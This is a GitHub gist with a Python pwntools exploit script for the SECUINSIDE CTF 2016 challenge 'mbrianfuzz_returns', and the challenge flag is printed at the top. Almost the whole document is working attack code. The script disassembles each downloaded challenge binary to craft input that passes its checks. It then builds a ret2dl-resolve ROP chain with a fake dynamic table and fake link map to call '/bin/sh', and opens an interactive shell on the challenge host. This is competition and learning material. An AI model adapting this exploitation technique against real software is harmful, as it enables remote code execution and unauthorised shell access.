/mbrianfuzz_returns_exp.py Secret
Created
July 11, 2016 19:48
Star
You must be signed in to star a gist
exploit of SECUINSIDE CTF 2016 - mbrianfuzz_returns
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
# flag: Seokyang_EEE_jin_dah | |
from pwn import * | |
from commands import getoutput | |
context.arch = "amd64" | |
def aeg(binary): | |
buf = bytearray("\x00" * 324) | |
# get a1 a2 a3 | |
lines = getoutput("objdump -M intel -d %s | grep jne -B 1 | grep cmp | grep ,0x" % binary).split("\n")[2:] | |
args = group(3, [int(line.split(",")[-1], 16) for line in lines]) | |
args = [i[::-1] for i in args] | |
#print args | |
assert len(args) == 80 | |
# get 4 index of each check function | |
lines = getoutput("objdump -M intel -d %s | grep movzx | grep rip+0x20" % binary).split("\n") | |
idx = group(4, [int(line.split(" ")[-2], 16)-0x606080 for line in lines]) | |
idx = [i[::-1] for i in idx][:-1] | |
assert len(idx) == 80 | |
for i in range(80): | |
buf[idx[i][0]] = chr(args[i][0]) | |
buf[idx[i][1]] = chr(args[i][1]) | |
buf[idx[i][2]] = chr(args[i][2]) | |
buf[idx[i][3]] = chr(0x7f) | |
return buf | |
def from_remote(binary): | |
r = remote("chal.cykor.kr", 20022) | |
#r = remote("52.78.11.234", 20022) | |
r.recvuntil("SEND ME YOUR STRING TO EXPLOIT BRAND NEW BINARY (HEX ENCODED)\n") | |
b = r.recvuntil("\n\n", drop=True).decode("base64") | |
with open(binary, "wb") as f: | |
f.write(b) | |
os.system("chmod +x %s" % binary) | |
return r | |
def exploitable(binary, payload): | |
return "memcpy" in getoutput("ltrace -e memcpy %s %s" % (binary, enhex(str(payload)+"A" * 100))) | |
def get_exp(binary): | |
cmd = "/bin/sh".ljust(64, '\x00') | |
pop_rdi = getoutput('ROPgadget --binary {} | grep "pop rdi"'.format(binary)).split(' ')[0] | |
pop_rdi = int(pop_rdi, 16) | |
plt0 = 0x400546 | |
l_addr = -0x59a70 + 2**64 | |
g = l_addr | |
read_GOT = 0x606028 | |
buf_addr = 0x6061fe + 16 | |
lm_addr = buf_addr + 88 | |
dyn_addr = buf_addr | |
# fake .dynamic | |
strtab_index = 0x5 | |
strtab_addr = buf_addr + 0x380 | |
symtab_index = 0x6 | |
symtab_addr = read_GOT | |
jmprel_index = 0x17 | |
jmprel_addr = buf_addr + 48 | |
payload = "" | |
payload += p64(strtab_index) + p64(strtab_addr) | |
payload += p64(symtab_index) + p64(symtab_addr) | |
payload += p64(jmprel_index) + p64(jmprel_addr) | |
# fake jmptab | |
payload += '\x00'*24 | |
payload += p64(buf_addr - g + 2**64) | |
payload += p64(0x7) | |
# fake link map | |
payload += p64(l_addr) # 0 | |
payload += p64(0) # 0x8 | |
payload += p64(dyn_addr) # 0x10 | |
payload += p64(0) # 0x18 | |
payload += p64(0) # 0x20 | |
payload += p64(0) # 0x28 | |
payload += p64(0) # 0x30 | |
payload += p64(0) # 0x38 | |
payload += p64(0) # 0x40 | |
payload += p64(dyn_addr) # 0x48 | |
payload += p64(0) # 0x50 | |
payload += p64(0) # 0x58 | |
payload += p64(0) # 0x60 | |
payload += p64(dyn_addr) # 0x68 | |
payload += p64(dyn_addr + 0x10) # 0x70 | |
payload += '\x00' * (jmprel_index - symtab_index - 1) * 8 #0x78 | |
payload += p64(dyn_addr + 0x20) | |
payload += cmd | |
return flat([pop_rdi, buf_addr + 0x2f0 - 0x198, plt0, lm_addr, 1]) + payload | |
total_try = 0 | |
exploitable_try = 0 | |
local = False | |
while True: | |
if len(sys.argv) == 2: | |
local = True | |
binary = sys.argv[1] | |
else: | |
binary = "./bin" | |
r = from_remote(binary) | |
buf = aeg(binary) | |
total_try += 1 | |
while not exploitable(binary, buf): | |
log.warn("unexploitable: %d/%d" % ( total_try - exploitable_try, total_try ) ) | |
if local: | |
exit() | |
total_try += 1 | |
r.close() | |
r = from_remote(binary) | |
buf = aeg(binary) | |
exploitable_try += 1 | |
log.success("exploitable! %d/%d" % (exploitable_try, total_try)) | |
payload = str(buf) + "A" * 10 | |
payload += "A" * 24 | |
payload += get_exp(binary) | |
payload = enhex(payload) | |
if not local: | |
log.success("Spawning a shell...") | |
r.recvuntil(">>> ") | |
r.sendline(payload) | |
r.sendline("id") | |
res = r.recvrepeat(1) | |
if res: | |
print res | |
r.interactive() | |
exit() | |
log.warn("No response QQ") | |
r.close() | |
else: | |
os.system("%s %s" % (binary, payload)) | |
exit() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment